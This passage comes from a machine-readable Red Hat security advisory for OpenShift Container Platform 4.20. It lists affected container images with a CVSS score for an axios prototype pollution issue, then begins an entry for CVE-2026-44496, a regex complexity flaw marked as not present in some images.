"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure due to prototype pollution vulnerability"
},
{
"cve": "CVE-2026-44496",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-06-11T17:01:15.856386+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
